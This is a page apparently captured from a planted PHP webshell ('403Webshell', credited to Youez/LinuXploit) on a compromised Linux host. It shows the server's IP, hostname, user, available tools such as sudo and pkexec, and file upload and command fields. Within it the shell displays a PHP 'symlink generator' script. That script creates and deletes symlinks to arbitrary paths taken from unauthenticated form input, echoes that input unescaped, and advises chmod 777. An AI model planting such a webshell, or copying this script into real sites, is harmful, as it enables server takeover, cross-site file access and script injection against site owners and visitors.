403Webshell
Server IP : 208.122.213.31  /  Your IP : 216.73.216.185
Web Server : Apache
System : Linux msd6191.mjhst.com 4.18.0-553.137.1.el8_10.x86_64 #1 SMP Wed Jun 24 11:40:24 UTC 2026 x86_64
User : WHMCS_MIA_382 ( 1001)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/httpd/html/hungarianhoneys.com/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/httpd/html/hungarianhoneys.com/public_html/symlink_generator.php
<?php
ini_set('display_errors',1);
ini_set('display_startup_errors',1);
error_reporting(-1);
?><!DOCTYPE html>
<!--[if lt IE 7 ]><html class="ie ie6" lang="en"> <![endif]-->
<!--[if IE 7 ]><html class="ie ie7" lang="en"> <![endif]-->
<!--[if IE 8 ]><html class="ie ie8" lang="en"> <![endif]-->
<!--[if (gte IE 9)|!(IE)]><!--><html lang="en"> <!--<![endif]-->
<head>
	<meta charset="utf-8">
	<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
	<title>Symlink Generator - Miguel Tavares</title>
	<meta name="author" content="Miguel Tavares, geral@migueltavares.com">
	<!--[if lt IE 9]><script src="https://cdnjs.cloudflare.com/ajax/libs/html5shiv/3.7.3/html5shiv.min.js"></script><![endif]-->

	<!-- Mobile -->
	<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
	<meta name="apple-mobile-web-app-capable" content="yes" />
	<meta name="apple-mobile-web-app-status-bar-style" content="black-translucent" />

	<!-- CSS -->
	<link href="https://fonts.googleapis.com/css?family=Open+Sans:300,400,700,800" rel="stylesheet">
	<link href="https://cdnjs.cloudflare.com/ajax/libs/normalize/6.0.0/normalize.min.css" rel="stylesheet">
	<style>
	/* #Reset & Basics (Inspired by E. Meyers)
	================================================== */
	html, body, div, span, applet, object, iframe, h1, h2, h3, h4, h5, h6, p, blockquote, pre, a, abbr, acronym, address, big, cite, code, del, dfn, em, img, ins, kbd, q, s, samp, small, strike, strong, sub, sup, tt, var, b, u, i, center, dl, dt, dd, ol, ul, li, fieldset, form, label, legend, table, caption, tbody, tfoot, thead, tr, th, td, article, aside, canvas, details, embed, figure, figcaption, footer, header, hgroup, menu, nav, output, ruby, section, summary, time, mark, audio, video {margin: 0;padding: 0;border: 0;font-size: 100%; font: inherit; vertical-align: baseline; }
	article, aside, details, figcaption, figure, footer, header, hgroup, menu, nav, section { display: block; }
	body { line-height: 1; }
	ol, ul { list-style: none; }
	blockquote, q { quotes: none; }
	blockquote:before, blockquote:after,
	q:before, q:after { content: ''; content: none; }
	table { border-collapse: collapse; border-spacing: 0; }


	/* #Basic Styles
	================================================== */
	body {
		background: #FFF;
		font: 14px 'Open Sans', Arial, Helvetica, sans-serif;
		color: #686969;
		-webkit-font-smoothing: antialiased; /* Fix for webkit rendering */
		-webkit-text-size-adjust: 100%;
	}

	::-moz-selection { background: #b3d4fc; text-shadow: none; }
	::selection { background: #b3d4fc; text-shadow: none; }

	.chromeframe { margin: 0.2em 0; background: #ccc; color: #000; padding: 0.2em 0; }

	/* #Typography
	================================================== */
	h1, h2, h3, h4, h5, h6 {
		font-family: 'Open Sans', Arial, Helvetica, sans-serif;
		font-weight: normal; }
	h1 a, h2 a, h3 a, h4 a, h5 a, h6 a { font-weight: inherit; }
	h1 { font-size: 46px; margin-bottom: 10px; }
	h2 { font-size: 35px; margin-bottom: 10px; }
	h3 { font-size: 28px; margin-bottom: 10px; }
	h4 { font-size: 21px; margin-bottom: 10px; }
	h5 { font-size: 17px; }
	h6 { font-size: 14px; }

	p { margin: 0 0 5px 0; }
	p img { margin: 0; }

	em { font-style: italic; }
	strong { font-weight: bold; }
	small { font-size: 80%; }


	/* #Links
	================================================== */
	a, a:visited { color: #0065c9; text-decoration:underline; outline: 0; }
	a:hover, a:focus { color: #003161; text-decoration:none; }
	p a, p a:visited { line-height: inherit; }


	/* #Buttons
	================================================== */
	a.button,
	button,
	input[type="submit"],
	input[type="reset"],
	input[type="button"] {
		background: #eee; /* Old browsers */
		background: #eee -moz-linear-gradient(top, rgba(255,255,255,.2) 0%, rgba(0,0,0,.2) 100%); /* FF3.6+ */
		background: #eee -webkit-gradient(linear, left top, left bottom, color-stop(0%,rgba(255,255,255,.2)), color-stop(100%,rgba(0,0,0,.2))); /* Chrome,Safari4+ */
		background: #eee -webkit-linear-gradient(top, rgba(255,255,255,.2) 0%,rgba(0,0,0,.2) 100%); /* Chrome10+,Safari5.1+ */
		background: #eee -o-linear-gradient(top, rgba(255,255,255,.2) 0%,rgba(0,0,0,.2) 100%); /* Opera11.10+ */
		background: #eee -ms-linear-gradient(top, rgba(255,255,255,.2) 0%,rgba(0,0,0,.2) 100%); /* IE10+ */
		background: #eee linear-gradient(top, rgba(255,255,255,.2) 0%,rgba(0,0,0,.2) 100%); /* W3C */
	  border: 1px solid #aaa;
	  border-top: 1px solid #ccc;
	  border-left: 1px solid #ccc;
	  padding: 10px 20px;
	  -moz-border-radius: 3px;
	  -webkit-border-radius: 3px;
	  border-radius: 3px;
	  color: #444;
	  display: inline-block;
	  font-size: 16px;
	  font-weight: bold;
	  text-decoration: none;
	  text-shadow: 0 1px rgba(255, 255, 255, .75);
	  cursor: pointer;
	  margin-bottom:0px;
	  line-height:100%;
	  font-family: Arial, Helvetica, sans-serif; }

	a.button:hover,
	button:hover,
	input[type="submit"]:hover,
	input[type="reset"]:hover,
	input[type="button"]:hover {
		color: #222;
		background: #ddd; /* Old browsers */
		background: #ddd -moz-linear-gradient(top, rgba(255,255,255,.3) 0%, rgba(0,0,0,.3) 100%); /* FF3.6+ */
		background: #ddd -webkit-gradient(linear, left top, left bottom, color-stop(0%,rgba(255,255,255,.3)), color-stop(100%,rgba(0,0,0,.3))); /* Chrome,Safari4+ */
		background: #ddd -webkit-linear-gradient(top, rgba(255,255,255,.3) 0%,rgba(0,0,0,.3) 100%); /* Chrome10+,Safari5.1+ */
		background: #ddd -o-linear-gradient(top, rgba(255,255,255,.3) 0%,rgba(0,0,0,.3) 100%); /* Opera11.10+ */
		background: #ddd -ms-linear-gradient(top, rgba(255,255,255,.3) 0%,rgba(0,0,0,.3) 100%); /* IE10+ */
		background: #ddd linear-gradient(top, rgba(255,255,255,.3) 0%,rgba(0,0,0,.3) 100%); /* W3C */
	  border: 1px solid #888;
	  border-top: 1px solid #aaa;
	  border-left: 1px solid #aaa; }

	a.button:active,
	button:active,
	input[type="submit"]:active,
	input[type="reset"]:active,
	input[type="button"]:active {
		border: 1px solid #666;
		background: #ccc; /* Old browsers */
		background: #ccc -moz-linear-gradient(top, rgba(255,255,255,.35) 0%, rgba(10,10,10,.4) 100%); /* FF3.6+ */
		background: #ccc -webkit-gradient(linear, left top, left bottom, color-stop(0%,rgba(255,255,255,.35)), color-stop(100%,rgba(10,10,10,.4))); /* Chrome,Safari4+ */
		background: #ccc -webkit-linear-gradient(top, rgba(255,255,255,.35) 0%,rgba(10,10,10,.4) 100%); /* Chrome10+,Safari5.1+ */
		background: #ccc -o-linear-gradient(top, rgba(255,255,255,.35) 0%,rgba(10,10,10,.4) 100%); /* Opera11.10+ */
		background: #ccc -ms-linear-gradient(top, rgba(255,255,255,.35) 0%,rgba(10,10,10,.4) 100%); /* IE10+ */
		background: #ccc linear-gradient(top, rgba(255,255,255,.35) 0%,rgba(10,10,10,.4) 100%); /* W3C */ }

	.button.full-width,
	button.full-width,
	input[type="submit"].full-width,
	input[type="reset"].full-width,
	input[type="button"].full-width {
		width: 100%;
		padding-left: 0 !important;
		padding-right: 0 !important;
		text-align: center; }


	/* #Forms
	================================================== */
	form { margin-bottom: 20px; text-align:left; }
	fieldset { margin-bottom: 20px; }
	input[type="text"],
	input[type="password"],
	input[type="email"],
	textarea,
	select {
		border: 1px solid #ccc;
		padding: 6px 4px;
		outline: none;
		-moz-border-radius: 2px;
		-webkit-border-radius: 2px;
		border-radius: 2px;
		font: 14px Arial, Helvetica, sans-serif;
		color: #777;
		margin: 0;
		width: 100%;
		max-width: 100%;
		display: block;
		margin-bottom:0px;
		background: #fff; }
	select {
		padding: 0; }
	input[type="text"]:focus,
	input[type="password"]:focus,
	input[type="email"]:focus,
	textarea:focus {
		border: 1px solid #aaa;
 		color: #444;
 		-moz-box-shadow: 0 0 3px rgba(0,0,0,.2);
		-webkit-box-shadow: 0 0 3px rgba(0,0,0,.2);
		box-shadow:  0 0 3px rgba(0,0,0,.2); }
	textarea { min-height: 60px; }
	label, legend { display: block; font-weight: bold; margin-bottom:5px;}
	select { width:100%; }
	input[type="checkbox"] { display: inline; }
	label span,
	legend span { font-weight: normal; font-size: 14px; color: #444; }

	/* Custom Styles */
	* {box-sizing:border-box; }
	.wrapper { width:1200px; position:relative; margin:0 auto; box-sizing:border-box; }
	#header { float:left; width:100%; text-align:center; padding:10px 0; background:#f1f1f1; }
	#content { float:left; width:100%; text-align:left; padding:30px 0; }
	#footer { float:left; width:100%; text-align:center; padding:10px 0; background:#f1f1f1; }

	pre { display:block; padding:20px; border:1px solid #CCC; background:#f1f1f1; font-family:Courier New; }

	form { display:block; border:1px solid #CCC; padding:20px; margin:25px 0; }
	form h3 { color:#0065c9; font-size:18px; }
	.form-row { display:inline-block; width:100%; padding-bottom:10px; margin-bottom:10px; }
	.form-row:last-child { margin-bottom:0; }
	form pre { padding:10px; margin-bottom:10px; }

	p.info { display:block; padding:10px; margin:10px 0; border:1px solid #134b82; color:#134b82; background:#a9cef3; }
	p.alert { display:block; padding:10px; margin:10px 0; border:1px solid #aa1014; color:#aa1014; background:#f8cacb; }
	p.success { display:block; padding:10px; margin:10px 0; border:1px solid #2c810e; color:#2c810e; background:#cdf8bf; }
	</style>

	<!-- jQuery Stuff -->
	<script type="text/javascript" src="//cdnjs.cloudflare.com/ajax/libs/modernizr/2.8.3/modernizr.min.js"></script><!--//modernizr-->
	<script type="text/javascript" src="//ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js"></script>
	<script type="text/javascript" src="//cdnjs.cloudflare.com/ajax/libs/jquery-migrate/1.2.1/jquery-migrate.min.js"></script><!--//jquery migrate-->
	<script>
	jQuery(function($) {
	});
	</script>
	<!--[if lt IE 9]><script src="//cdnjs.cloudflare.com/ajax/libs/respond.js/1.4.2/respond.min.js"></script><![endif]--><!--//IE responsive web design-->
</head>
<body>
<!--[if lt IE 7]><p class="chromeframe">You are using an <strong>outdated</strong> browser. Please <a href="http://browsehappy.com/">upgrade your browser</a> or <a href="http://www.google.com/chromeframe/?redirect=true">activate Google Chrome Frame</a> to improve your experience.</p><![endif]-->


<div id="header">
	<div class="wrapper">
		<h1>Symlink Generator</h1>
	</div><!--//wrapper-->
</div><!--//header-->

<div class="clear"></div>

<div id="content">
	<div class="wrapper">

		<h4>Syntax Example:</h4>
<pre>
symlink(
	'/home/httpd/html/domain.com/public_html/members/content/contentthumbs',
	'/home/httpd/html/domain.com/public_html/tour/content/contentthumbs');
</pre>
		
		<?php
		$current_basepath = realpath(dirname(__FILE__));
		?>

		<form action="symlink_generator.php" method="POST">
			<h3>Step #1 - Input</h3>
			<p>Make sure the parent folder is CHMOD +777 (Writable) before using the script.</p>
			<pre>Current basepath: <?php echo $current_basepath; ?></pre>
			<div class="form-row">
				<label>Target</label>
				<input type="text" name="symlink_target" value="<?php echo ( isset($_POST['symlink_target']) ? $_POST['symlink_target'] : $current_basepath ); ?>" placeholder="<?php echo $current_basepath; ?>" />
			</div>

			<div class="form-row">
				<label>Link</label>
				<input type="text" name="symlink_link" value="<?php echo ( isset($_POST['symlink_link']) ? $_POST['symlink_link'] : $current_basepath ); ?>" placeholder="<?php echo $current_basepath; ?>" />
			</div>

			<div class="form-row">
				<input type="submit" name="symlink_step1" value="Validate &gt;" />
			</div>
		</form>

		<?php /* STEP 2 */ ?>
		<?php if( isset($_POST['symlink_step1']) && $_POST['symlink_step1'] != '' ){ ?>

			<?php $symlink_target = $_POST['symlink_target']; ?>
			<?php $symlink_link = $_POST['symlink_link']; ?>

			<form action="symlink_generator.php" method="POST">
				<h3>Step #2 - Validate</h3>

				<input type="hidden" name="symlink_target" value="<?php echo $symlink_target; ?>" />
				<input type="hidden" name="symlink_link" value="<?php echo $symlink_link; ?>" />

				<?php
				if (is_link($symlink_link)) {
					$symlink_exists = true;
				} else {
					$symlink_exists = false;
				}
				?>

				<div class="form-row">
					<?php if($symlink_exists == true){ ?>
					<p class="alert">
						The symlink "<strong><?php echo $symlink_link; ?></strong>" exists, and points to: <strong>"<?php echo (readlink($symlink_link)); ?>"</strong>
						<br/>
						If you continue, this symlink will be deleted and created with the new input.
					</p>
					<?php } else { ?>
					<p class="info">
						The symlink "<strong><?php echo $symlink_link; ?></strong>" doesn't exist, and will be created.
					</p>
					<?php } ?>
				</div>

				<div class="form-row">
					<input type="submit" name="symlink_step2" value="Confirm and continue &gt;" />
				</div>
			</form>

		<?php } //STEP2 ?>

		<?php /* STEP 3 */ ?>
		<?php if( isset($_POST['symlink_step2']) && $_POST['symlink_step2'] != '' ){ ?>

			<?php $symlink_target = $_POST['symlink_target']; ?>
			<?php $symlink_link = $_POST['symlink_link']; ?>

			<form action="symlink_generator.php" method="POST">
				<h3>Step #3 - Done</h3>

				<?php
				if (is_link($symlink_link)) {
					$symlink_exists = true;

					unlink($symlink_link);
				} else {
					$symlink_exists = false;
				}

				//Create the symlink:
				$symlink_response = symlink($symlink_target, $symlink_link);
				?>

				<div class="form-row">
					<?php if($symlink_response == true){ ?>
					<p class="success">
						The symlink "<strong><?php echo $symlink_link; ?></strong>" was created!
						<br/>
						Pointed to: "<strong><?php echo $symlink_target; ?></strong>"
					</p>
					<?php } else { ?>
					<p class="alert">
						The symlink "<strong><?php echo $symlink_link; ?></strong>" failed to create.
					</p>
					<?php } ?>
				</div>

				<div class="form-row">
					<input type="submit" name="symlink_step3" value="Start Over &gt;" />
				</div>
			</form>

		<?php } //STEP2 ?>

	</div><!--//wrapper-->
</div><!--//content-->

<div class="clear"></div>

<div id="footer">
	<div class="wrapper">
		<p>&copy; <?php echo date("Y"); ?> MiguelTavares.com</p>
	</div><!--//wrapper-->
</div><!--//footer-->

</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit